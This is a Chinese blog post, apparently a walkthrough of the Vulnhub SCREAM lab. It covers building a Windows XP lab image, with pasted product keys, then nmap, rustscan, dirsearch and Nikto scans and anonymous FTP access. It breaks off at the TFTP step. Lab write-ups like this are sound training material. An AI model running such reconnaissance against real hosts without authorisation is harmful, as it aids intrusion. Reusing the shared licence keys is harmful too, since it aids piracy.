{"id":366,"date":"2024-02-20T01:44:09","date_gmt":"2024-02-19T17:44:09","guid":{"rendered":"http:\/\/162.14.82.114\/?p=366"},"modified":"2024-02-20T01:46:58","modified_gmt":"2024-02-19T17:46:58","slug":"vulnhub-scream","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/366\/02\/20\/2024\/","title":{"rendered":"Vulnhub–SCREAM"},"content":{"rendered":"

SCREAM<\/h1>\n

\"image-20240216081944493\"<\/div><\/p>\n

\u751f\u6210\u9776\u573a<\/h2>\n

\u4eca\u5929\u6311\u6218\u7684\u9776\u573a\u6709\u70b9\u4e0e\u4f17\u4e0d\u540c\uff1a<\/p>\n

\"image-20240216082018318\"<\/div><\/p>\n

\u4ed6\u8981\u81ea\u5df1\u751f\u6210\u4e00\u4e2aiso\u6587\u4ef6\uff1a<\/p>\n

\"image-20240216082057815\"<\/div><\/p>\n

\u4f5c\u8005\u662f\u5c06\u6f0f\u6d1e\u76f4\u63a5\u63d2\u5165iso\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u63d0\u524d\u51c6\u5907\u4e00\u4e2awinxp sp2\/sp3<\/code>\u7684iso\u6587\u4ef6\uff1a<\/p>\n

ed2k:\/\/|file|sc_win_xp_pro_with_sp2_vl.iso|621346816|6F27DB53806D79FE37A0EDEC04AA9B05|\/<\/code><\/p>\n

\u4f7f\u7528\u817e\u8baf\u5fae\u4e91\u53ef\u4ee5\u5f88\u65b9\u4fbf\u7684\u4e0b\u8f7d\uff0c\u4e0d\u7528vip\uff1a<\/p>\n

\"image-20240216091407398\"<\/div><\/p>\n

\u4f46\u662f\u4e0b\u8f7d\u5230\u672c\u5730\u7684\u65f6\u5019\u592a\u6162\u4e86\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n

\u4e00\u8fb9\u88c5\u4e86\u4e2apwn\u7cfb\u7edf\uff0c\u4e00\u8fb9\u7b49\u597d\u4e86\uff0c\u6f2b\u957f\u3002\u3002\u3002\u8f93\u5165\u4ea7\u54c1\u8ba4\u8bc1\u7801\u548c\u5730\u5740\uff1a<\/p>\n

\"image-20240216152121509\"<\/div><\/p>\n

\u7b49\u5f85\u52a0\u8f7d\u51fa\u955c\u50cf\uff1a<\/p>\n

\"image-20240216152213781\"<\/div><\/p>\n

\u5efa\u7acb\u865a\u62df\u673a\uff0c\u6253\u5f00\u770b\u4e00\u4e0b\uff0c\u51fa\u73b0\u4e86\u5947\u5947\u602a\u602a\u7684\u95ee\u9898\uff0c\u540e\u6765\u542c\u5927\u4f6c\u8bf4\u5f97\u7528\u82f1\u6587\u7248\u7684\uff0c\u4e5f\u5c31\u662fen\u5f00\u5934\u7684\uff1a<\/p>\n

\u53ef\u4ee5\u5728\u8fd9\u91cc\u4e0b\u8f7d\uff1aen_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-73974.iso <\/a><\/p>\n

\"image-20240216221708205\"<\/div><\/p>\n

\u5f00\u542f\u865a\u62df\u673a\u7684\u8fc7\u7a0b\u4e2d\uff0c\u7528\u6237\u540d\u4e0d\u80fd\u4f7f\u7528\u9ed8\u8ba4\u7684Administrator<\/code>\uff0c\u9700\u8981\u6539\u4e00\u4e0b\u3002<\/p>\n

\"image-20240216222355650\"<\/div><\/p>\n

\u7136\u540e\u83ab\u540d\u5176\u5999\u5c31\u5173\u673a\u4e86\uff1a<\/p>\n

\"image-20240216222507498\"<\/div><\/p>\n

\u5636\u3002\u3002\u3002\u3002\u7b49\u5f85\u91cd\u542f\u4e00\u4e0b\u5427\uff0c\u6211\u7a81\u7136\u60f3\u8d77\u6765\u4e4b\u524d\u6709\u4e2a\u4e2d\u6587\u7684\u597d\u50cf\u4e5f\u91cd\u542f\u4e86\uff0c\u5636\u3002\u3002\u3002\u662f\u4e0d\u662f\u5f53\u65f6\u4e5f\u53ef\u4ee5\u7528\u7684\u6765\u7740\u3002\u3002<\/p>\n

\u7136\u540e\u5c31\u5230\u4e86\u9009\u7528\u6237\u7684\u65f6\u5019\u4e86\uff1a<\/p>\n

\"image-20240216222615962\"<\/div><\/p>\n

\u53d1\u9001ctrl+alt+del<\/code>\u5c31\u884c\u4e86\uff0c\u53d1\u4e24\u6b21\uff1a<\/p>\n

\"image-20240216222859321\"<\/div><\/p>\n

\"image-20240216223506049\"<\/div><\/p>\n

\u767b\u4e0d\u8fdb\u53bb\uff0c\u626b\u4e00\u4e0b\uff1a<\/p>\n

\"image-20240216223244237\"<\/div><\/p>\n

\u770b\u4e00\u4e0b\u662f\u5426\u662f\u8fd9\u4e2a\uff1a<\/p>\n

\"image-20240216223347699\"<\/div><\/p>\n

\u770b\u6765\u6211\u4eec\u8981\u641e\u7684\u5c31\u662f\u8fd9\u53f0\u673a\u5b50\u4e86\uff01<\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf\uff08\u5c11\u4e2a80\u7aef\u53e3\uff09<\/h3>\n
sudo nmap -sS -sV -p- -sC 192.168.244.183\n# Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-02-16 09:50 EST\n# Nmap scan report for 192.168.244.183\n# Host is up (0.00058s latency).\n# Not shown: 65532 filtered tcp ports (no-response)\n# PORT   STATE SERVICE VERSION\n# 21\/tcp open  ftp     WAR-FTPD 1.65 (Name Scream XP (SP2) FTP Service)\n# |_ftp-bounce: bounce working!\n# | ftp-syst: \n# |_  SYST: UNIX emulated by FileZilla\n# | ftp-anon: Anonymous FTP login allowed (FTP code 230)\n# | drwxr-xr-x 1 ftp ftp              0 Feb 16 22:24 bin\n# | drwxr-xr-x 1 ftp ftp              0 Feb 16 22:24 log\n# |_drwxr-xr-x 1 ftp ftp              0 Feb 16 22:24 root\n# 22\/tcp open  ssh     WeOnlyDo sshd 2.1.3 (protocol 2.0)\n# | ssh-hostkey: \n# |   1024 2c:23:77:67:d3:e0:ae:2a:a8:01:a4:9e:54:97:db:2c (DSA)\n# |_  1024 fa:11:a5:3d:63:95:4a:ae:3e:16:49:2f:bb:4b:f1:de (RSA)\n# 23\/tcp open  telnet\n# | fingerprint-strings: \n# |   GenericLines, NCP, RPCCheck, tn3270: \n# |     Scream Telnet Service\n# |     login:\n# |   GetRequest: \n# |     HTTP\/1.0\n# |     Scream Telnet Service\n# |     login:\n# |   Help: \n# |     HELP\n# |     Scream Telnet Service\n# |     login:\n# |   SIPOptions: \n# |     OPTIONS sip:nm SIP\/2.0\n# |     Via: SIP\/2.0\/TCP nm;branch=foo\n# |     From: <sip:nm@nm>;tag=root\n# |     <sip:nm2@nm2>\n# |     Call-ID: 50000\n# |     CSeq: 42 OPTIONS\n# |     Max-Forwards: 70\n# |     Content-Length: 0\n# |     Contact: <sip:nm@nm>\n# |     Accept: application\/sdp\n# |     Scream Telnet Service\n# |_    login:\n# 1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\n# SF-Port23-TCP:V=7.94SVN%I=7%D=2\/16%Time=65CF7691%P=x86_64-pc-linux-gnu%r(N\n# SF:ULL,12,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xf\n# SF:d\\x1f")%r(GenericLines,34,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\n# SF:\\xff\\xfd\\x18\\xff\\xfd\\x1f\\r\\n\\r\\nScream\\x20Telnet\\x20Service\\r\\nlogin:\\x\n# SF:20")%r(tn3270,3C,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\\n# SF:x18\\xff\\xfd\\x1f\\xff\\xfc\\x18\\xff\\xfe\\x19\\xff\\xfc\\x19\\xff\\xfb\\0Scream\\x20\n# SF:Telnet\\x20Service\\r\\nlogin:\\x20")%r(GetRequest,42,"\\xff\\xfb\\x01\\xff\\xfe\n# SF:\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xfd\\x1fGET\\x20\/\\x20HTTP\/1\\.0\\r\n# SF:\\n\\r\\nScream\\x20Telnet\\x20Service\\r\\nlogin:\\x20")%r(RPCCheck,5C,"\\xff\\x\n# SF:fb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xfd\\x1f\\x80\\0\\0\\\n# SF:(r\\xfe\\x1d\\x13\\0\\0\\0\\0\\0\\0\\0\\x02\\0\\x01\\x86\\xa0\\0\\x01\\x97\\|\\0\\0\\0\\0\\0\\0\\\n# SF:0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0Scream\\x20Telnet\\x20Service\\r\\nlogin:\\x20")%\n# SF:r(Help,36,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\n# SF:\\xfd\\x1fHELP\\r\\nScream\\x20Telnet\\x20Service\\r\\nlogin:\\x20")%r(SIPOption\n# SF:s,10F,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xfd\n# SF:\\x1fOPTIONS\\x20sip:nm\\x20SIP\/2\\.0\\r\\nVia:\\x20SIP\/2\\.0\/TCP\\x20nm;branch=\n# SF:foo\\r\\nFrom:\\x20<sip:nm@nm>;tag=root\\r\\nTo:\\x20<sip:nm2@nm2>\\r\\nCall-ID\n# SF::\\x2050000\\r\\nCSeq:\\x2042\\x20OPTIONS\\r\\nMax-Forwards:\\x2070\\r\\nContent-\n# SF:Length:\\x200\\r\\nContact:\\x20<sip:nm@nm>\\r\\nAccept:\\x20application\/sdp\\r\n# SF:\\n\\r\\nScream\\x20Telnet\\x20Service\\r\\nlogin:\\x20")%r(NCP,31,"\\xff\\xfb\\x0\n# SF:1\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xfd\\x1f\\x13Scream\\x20\n# SF:Telnet\\x20Service\\r\\nlogin:\\x20");\n# MAC Address: 00:0C:29:4C:10:1E (VMware)\n# Service Info: OS: Windows; CPE: cpe:\/o:microsoft:windows\n\n# Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done: 1 IP address (1 host up) scanned in 157.70 seconds<\/code><\/pre>\n
\u5636\uff0c\u770b\u5e08\u5085\u4eecwp\u53d1\u73b0\u6709\u4e2a80\u6ca1\u626b\u51fa\u6765\u3002\u3002\u3002\u3002\u662f\u542f\u52a8\u9519\u8bef\u4e86\u5417\uff1f\u5c31\u79bb\u8c31\uff0c\u91cd\u65b0\u641e\u4e00\u4e2a\u8bd5\u8bd5\uff0c\u518d\u8bd5\u8bd5\u90a3\u4e2a\u4e2d\u6587\u5427\uff1a<\/p>\n
\u6362\u4e2d\u6587\u7684\u626b\u63cf\u8bd5\u8bd5<\/h3>\n
# sc_win_xp_pro_with_sp2_vl.iso\nB66VY-4D94T-TPPD4-43F72-8X4FY<\/code><\/pre>\n
\u73b0\u5728\u5c31\u5361\u5728\u8fd9\u4e00\u6b65\u4e86\uff1a<\/p>\n
\"image-20240216234112489\"<\/div><\/p>\n
\u79bb\u8c31\uff0c\u8fd8\u662f\u6362\u56de\u6765\u5427\uff0c\u91cd\u542f\u4e0d\u4e86\u670d\u52a1\u7684\u8bdd\u6211\u53ea\u80fd\u6362\u955c\u50cf\u4e86\uff0c\u9ebb\u4e86\uff01\u8fd9\u6b21\u5c1d\u8bd5\u4e0d\u81ea\u52a8\u5b89\u88c5\uff1a<\/p>\n
MRX3F-47B9T-2487J-KWKMF-RPWBY<\/code><\/pre>\n
\u8fd9\u6b21\u5f88\u987a\u5229\uff0c\u8fde\u7528\u6237\u540d\u90fd\u4e0d\u7528\u6539\uff0c\u770b\u6765\u8fd8\u662f\u4e0d\u80fd\u9760\u5b83\u81ea\u52a8\u5b89\u88c5\uff01\u6211\u64e6\uff0c\u8fdb\u6765\u4e86\uff0c\u723d\uff01<\/p>\n
\"image-20240217000856085\"<\/div><\/p>\n
\u7aef\u53e3\u626b\u63cf<\/h3>\n
\"image-20240217001421574\"<\/div><\/p>\n
\u540e\u53f0\u5077\u5077\u6478\u6478\u626b\u4e00\u4e0b\u8bd5\u8bd5\uff1a<\/p>\n
sudo arp-scan -l\nsudo rustscan -a 192.168.244.183 -- -A -sCV -Pn<\/code><\/pre>\n
\u626b\u63cf\u7ed3\u679c\u5982\u4e0b\uff1a<\/p>\n
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83c\udf0dHACK THE PLANET\ud83c\udf0d\n\n[~] The config file is expected to be at "\/root\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.244.183:21\nOpen 192.168.244.183:22\nOpen 192.168.244.183:23\nOpen 192.168.244.183:80\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")\n\nHost discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-02-16 11:19 EST\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:19\nCompleted NSE at 11:19, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:19\nCompleted NSE at 11:19, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:19\nCompleted NSE at 11:19, 0.00s elapsed\nInitiating ARP Ping Scan at 11:19\nScanning 192.168.244.183 [1 port]\nCompleted ARP Ping Scan at 11:19, 0.04s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 11:19\nCompleted Parallel DNS resolution of 1 host. at 11:19, 0.02s elapsed\nDNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating SYN Stealth Scan at 11:19\nScanning 192.168.244.183 [4 ports]\nDiscovered open port 23\/tcp on 192.168.244.183\nDiscovered open port 21\/tcp on 192.168.244.183\nDiscovered open port 22\/tcp on 192.168.244.183\nDiscovered open port 80\/tcp on 192.168.244.183\nCompleted SYN Stealth Scan at 11:19, 0.02s elapsed (4 total ports)\nInitiating Service scan at 11:19\nScanning 4 services on 192.168.244.183\nCompleted Service scan at 11:20, 46.05s elapsed (4 services on 1 host)\nInitiating OS detection (try #1) against 192.168.244.183\nRetrying OS detection (try #2) against 192.168.244.183\nNSE: Script scanning 192.168.244.183.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:20\nCompleted NSE at 11:20, 5.06s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:20\nCompleted NSE at 11:20, 0.02s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:20\nCompleted NSE at 11:20, 0.00s elapsed\nNmap scan report for 192.168.244.183\nHost is up, received arp-response (0.00061s latency).\nScanned at 2024-02-16 11:19:41 EST for 55s\n\nPORT   STATE SERVICE REASON          VERSION\n21\/tcp open  ftp     syn-ack ttl 128 WAR-FTPD 1.65 (Name Scream XP (SP2) FTP Service)\n| ftp-syst: \n|_  SYST: UNIX emulated by FileZilla\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| drwxr-xr-x 1 ftp ftp              0 Feb 17 00:06 bin\n| drwxr-xr-x 1 ftp ftp              0 Feb 17 00:06 log\n|_drwxr-xr-x 1 ftp ftp              0 Feb 17 00:06 root\n|_ftp-bounce: bounce working!\n22\/tcp open  ssh     syn-ack ttl 128 WeOnlyDo sshd 2.1.3 (protocol 2.0)\n| ssh-hostkey: \n|   1024 2c:23:77:67:d3:e0:ae:2a:a8:01:a4:9e:54:97:db:2c (DSA)\n| ssh-dss AAAAB3NzaC1kc3MAAACBAPtvfmQ8cYhT1xTUjk5200EXVr+bRcTtGNR4rO\/Lvu\/Vqg\/bVeh5s9jVC71rtZUKo7JgO69m2mC3tTotkfmAxiITLfjWh4oser26g7JxcNZBpwdLVbfT1nv97z04v6IiKW8wEWtMh1bIJPjvmVPAZ014VwBnAAciMyhOwDMEZpIXAAAAFQDyUkmh2IGAv+mFXyCBioERkTgalQAAAIBIFC7tXS5HM9kNh+rSNEn69CwsC8JM+oScNih2xJBDDdDkjdUQaan29p0+Xypa4xlxfLisYLmWgoN8ckRjclehgvRMub498VtWtrJVeNohpuy\/I01M+knr6WjhAM7bQ6FwZZnFuP9tjOOr88f62Y\/cOyyNZdVx0GW+beAMHRkmEAAAAIEA4nZJdLgvGEV7kw+V36+ABpbk43fg\/SoqXnDqBrrNoMLVQIioJQCN8SJpYvI\/9XeWT2wvQ9+2EGp2JA+RIihP1+OiLlVKFPqleTGQz4sBeHKl+erAqhBlpdWG29X8qkMGHdlCUtCvUkK\/DFuFsllx3RUSqeEJEuZ9n2bjiDFDmP0=\n|   1024 fa:11:a5:3d:63:95:4a:ae:3e:16:49:2f:bb:4b:f1:de (RSA)\n|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAs4A0SjxI4hCfOqCoOQlHePoEzc7jnMryJ2l+VytIUIzl4CtZWDl+QksfXMeh3qJLRCGluu+FYsxbkWQMEzaw77tD9nhVyV7q+9vDDi5SvKon9NppKMmTTNxZK69qLVzKYnXuazBPIrUG1HfNaCr\/1jSyTNEMWt4kngdfLpewoMM=\n23\/tcp open  telnet  syn-ack ttl 128\n| fingerprint-strings: \n|   GenericLines, NCP, RPCCheck, tn3270: \n|     Scream Telnet Service\n|     login:\n|   GetRequest: \n|     HTTP\/1.0\n|     Scream Telnet Service\n|     login:\n|   Help: \n|     HELP\n|     Scream Telnet Service\n|     login:\n|   SIPOptions: \n|     OPTIONS sip:nm SIP\/2.0\n|     Via: SIP\/2.0\/TCP nm;branch=foo\n|     From: <sip:nm@nm>;tag=root\n|     <sip:nm2@nm2>\n|     Call-ID: 50000\n|     CSeq: 42 OPTIONS\n|     Max-Forwards: 70\n|     Content-Length: 0\n|     Contact: <sip:nm@nm>\n|     Accept: application\/sdp\n|     Scream Telnet Service\n|_    login:\n80\/tcp open  http    syn-ack ttl 128 Tinyweb httpd 1.93\n| http-methods: \n|_  Supported Methods: GET HEAD POST\n|_http-server-header: TinyWeb\/1.93\n|_http-title: The Scream - Edvard Munch\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port23-TCP:V=7.94SVN%I=7%D=2\/16%Time=65CF8B23%P=x86_64-pc-linux-gnu%r(N\nSF:ULL,12,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xf\nSF:d\\x1f")%r(GenericLines,34,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\nSF:\\xff\\xfd\\x18\\xff\\xfd\\x1f\\r\\n\\r\\nScream\\x20Telnet\\x20Service\\r\\nlogin:\\x\nSF:20")%r(tn3270,3C,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\\nSF:x18\\xff\\xfd\\x1f\\xff\\xfc\\x18\\xff\\xfe\\x19\\xff\\xfc\\x19\\xff\\xfb\\0Scream\\x20\nSF:Telnet\\x20Service\\r\\nlogin:\\x20")%r(GetRequest,42,"\\xff\\xfb\\x01\\xff\\xfe\nSF:\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xfd\\x1fGET\\x20\/\\x20HTTP\/1\\.0\\r\nSF:\\n\\r\\nScream\\x20Telnet\\x20Service\\r\\nlogin:\\x20")%r(RPCCheck,5C,"\\xff\\x\nSF:fb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xfd\\x1f\\x80\\0\\0\\\nSF:(r\\xfe\\x1d\\x13\\0\\0\\0\\0\\0\\0\\0\\x02\\0\\x01\\x86\\xa0\\0\\x01\\x97\\|\\0\\0\\0\\0\\0\\0\\\nSF:0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0Scream\\x20Telnet\\x20Service\\r\\nlogin:\\x20")%\nSF:r(Help,36,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\nSF:\\xfd\\x1fHELP\\r\\nScream\\x20Telnet\\x20Service\\r\\nlogin:\\x20")%r(SIPOption\nSF:s,10F,"\\xff\\xfb\\x01\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xfd\nSF:\\x1fOPTIONS\\x20sip:nm\\x20SIP\/2\\.0\\r\\nVia:\\x20SIP\/2\\.0\/TCP\\x20nm;branch=\nSF:foo\\r\\nFrom:\\x20<sip:nm@nm>;tag=root\\r\\nTo:\\x20<sip:nm2@nm2>\\r\\nCall-ID\nSF::\\x2050000\\r\\nCSeq:\\x2042\\x20OPTIONS\\r\\nMax-Forwards:\\x2070\\r\\nContent-\nSF:Length:\\x200\\r\\nContact:\\x20<sip:nm@nm>\\r\\nAccept:\\x20application\/sdp\\r\nSF:\\n\\r\\nScream\\x20Telnet\\x20Service\\r\\nlogin:\\x20")%r(NCP,31,"\\xff\\xfb\\x0\nSF:1\\xff\\xfe\\"\\xff\\xfe\\0\\xff\\xfd\\x03\\xff\\xfd\\x18\\xff\\xfd\\x1f\\x13Scream\\x20\nSF:Telnet\\x20Service\\r\\nlogin:\\x20");\nMAC Address: 00:0C:29:4C:10:1E (VMware)\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose\nRunning (JUST GUESSING): Microsoft Windows 2000|XP|2003 (93%)\nOS CPE: cpe:\/o:microsoft:windows_2000::sp4 cpe:\/o:microsoft:windows_xp::sp2 cpe:\/o:microsoft:windows_xp::sp3 cpe:\/o:microsoft:windows_server_2003\nOS fingerprint not ideal because: Missing a closed TCP port so results incomplete\nAggressive OS guesses: Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (93%), Microsoft Windows XP SP2 (93%), Microsoft Windows XP SP2 or Windows Small Business Server 2003 (92%), Microsoft Windows 2000 SP4 (91%), Microsoft Windows XP SP3 (91%), Microsoft Windows 2000 (90%), Microsoft Windows XP SP2 or SP3 (90%), Microsoft Windows 2000 SP0 (87%), Microsoft Windows XP SP2 or Windows Server 2003 (87%), Microsoft Windows Server 2003 (87%)\nNo exact OS matches for host (test conditions non-ideal).\nTCP\/IP fingerprint:\nSCAN(V=7.94SVN%E=4%D=2\/16%OT=21%CT=%CU=%PV=Y%DS=1%DC=D%G=N%M=000C29%TM=65CF8B54%P=x86_64-pc-linux-gnu)\nSEQ(SP=107%GCD=1%ISR=108%TI=I%TS=0)\nOPS(O1=M5B4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW0NNT00%O4=M5B4NW0NNT00NNS%O5=M5B4NW0NNT00NNS%O6=M5B4NNT00NNS)\nWIN(W1=4470%W2=41A0%W3=4100%W4=40E8%W5=40E8%W6=402E)\nECN(R=Y%DF=Y%TG=80%W=4470%O=M5B4NW0NNS%CC=N%Q=)\nT1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)\nT2(R=N)\nT3(R=N)\nT4(R=Y%DF=N%TG=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)\nU1(R=N)\nIE(R=N)\n\nNetwork Distance: 1 hop\nTCP Sequence Prediction: Difficulty=263 (Good luck!)\nIP ID Sequence Generation: Incremental\nService Info: OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.61 ms 192.168.244.183\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 11:20\nCompleted NSE at 11:20, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 11:20\nCompleted NSE at 11:20, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 11:20\nCompleted NSE at 11:20, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 55.75 seconds\n           Raw packets sent: 85 (8.764KB) | Rcvd: 21 (1.140KB)\n<\/code><\/pre>\n
\u6b63\u5e38\u4e86\uff0c\u53ef\u4ee5\u626b\u5230web\u670d\u52a1\u4e86\uff01\uff01\uff01<\/p>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
feroxbuster -u http:\/\/192.168.244.183\n# \u7ed3\u679c\u592a\u957f\u4e86\ndirsearch -u http:\/\/192.168.244.183 -e* -i 200,300-399<\/code><\/pre>\n
\"image-20240218091958508\"<\/div><\/p>\n
\u6d4f\u89c8\u5668\u63d2\u4ef6\u67e5\u770b<\/h3>\n
\"image-20240217002514044\"<\/div><\/p>\n
\u611f\u89c9\u8fdb\u5165\u70b9\u5e94\u8be5\u4e0d\u662f\u8fd9\u91cc\uff0c\u4f46\u662f\u4e5f\u53ef\u4ee5\u8bd5\u8bd5lighttpd<\/code>\u7684\u6f0f\u6d1e\uff0c\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n
Nikto\u626b\u63cf<\/h3>\n
sudo nikto -h http:\/\/192.168.244.183\n# - Nikto v2.5.0\n# ---------------------------------------------------------------------------\n# + Target IP:          192.168.244.183\n# + Target Hostname:    192.168.244.183\n# + Target Port:        80\n# + Start Time:         2024-02-16 21:14:39 (GMT-5)\n# ---------------------------------------------------------------------------\n# + Server: TinyWeb\/1.93\n# + \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n# + \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n# + ERROR: Error limit (20) reached for host, giving up. Last error: \n# + Scan terminated: 0 error(s) and 2 item(s) reported on remote host\n# + End Time:           2024-02-16 21:15:16 (GMT-5) (37 seconds)\n# ---------------------------------------------------------------------------\n# + 1 host(s) tested<\/code><\/pre>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
21\u300169\u7aef\u53e3<\/h3>\n
\u5bfb\u627e\u76f8\u5173\u6f0f\u6d1e<\/h4>\n
\u5f00\u542f\u4e86ftp<\/code>\u670d\u52a1\uff0c\u5c1d\u8bd5\u767b\u5f55\u4e00\u4e0b\uff0c\u770b\u770b\u5f31\u5bc6\u7801\u53ef\u4e0d\u53ef\u4ee5\u8fdb\u53bb\uff1a<\/p>\n
\"image-20240217102215437\"<\/div><\/p>\n
\u770b\u6765\u4e0d\u884c\uff0c\u4fe1\u606f\u641c\u96c6\u7684\u65f6\u5019\u770b\u5230\u8fd9\u4e2aFTP<\/code>\u4f3c\u4e4e\u662fWAR-FTPD 1.65<\/code>\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u770b\u770b\u6709\u6ca1\u6709\u6f0f\u6d1e\uff1a<\/p>\n
\"image-20240217102404937\"<\/div><\/p>\n
\u4f3c\u4e4e\u90fd\u6bd4\u8f83\u8001\u7684\u4e86\uff0c\u518d\u770b\u4e0b\u6709\u6ca1\u6709\u4fe1\u606f\u6f0f\u6389\u4e86\uff0c\u53d1\u73b0\u626b\u63cf\u8bb0\u5f55\u6709\u4e00\u6761ftp-anon: Anonymous FTP login allowed<\/code><\/p>\n
\u8bd5\u8bd5\uff1a<\/p>\n
\"image-20240217225345412\"<\/div><\/p>\n
\u6210\u529f\uff01\uff01\uff01\u6ca1\u53d1\u73b0\u5565\uff0c\u53ea\u770b\u5230\u4e00\u4e2aOpenTFTPServerMT.log<\/code>\uff0c\u6807\u5fd7\u7740\u53ef\u80fd\u5f00\u542f\u4e86TFTP\u670d\u52a1\uff0c\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240218092226731\"<\/div><\/p>\n
\u65e2\u7136\u6709\u670d\u52a1\uff0c\u548b\u6ca1\u626b\u5230\uff0c\u53ef\u80fd\u662fUDP\u670d\u52a1\uff1a<\/p>\n
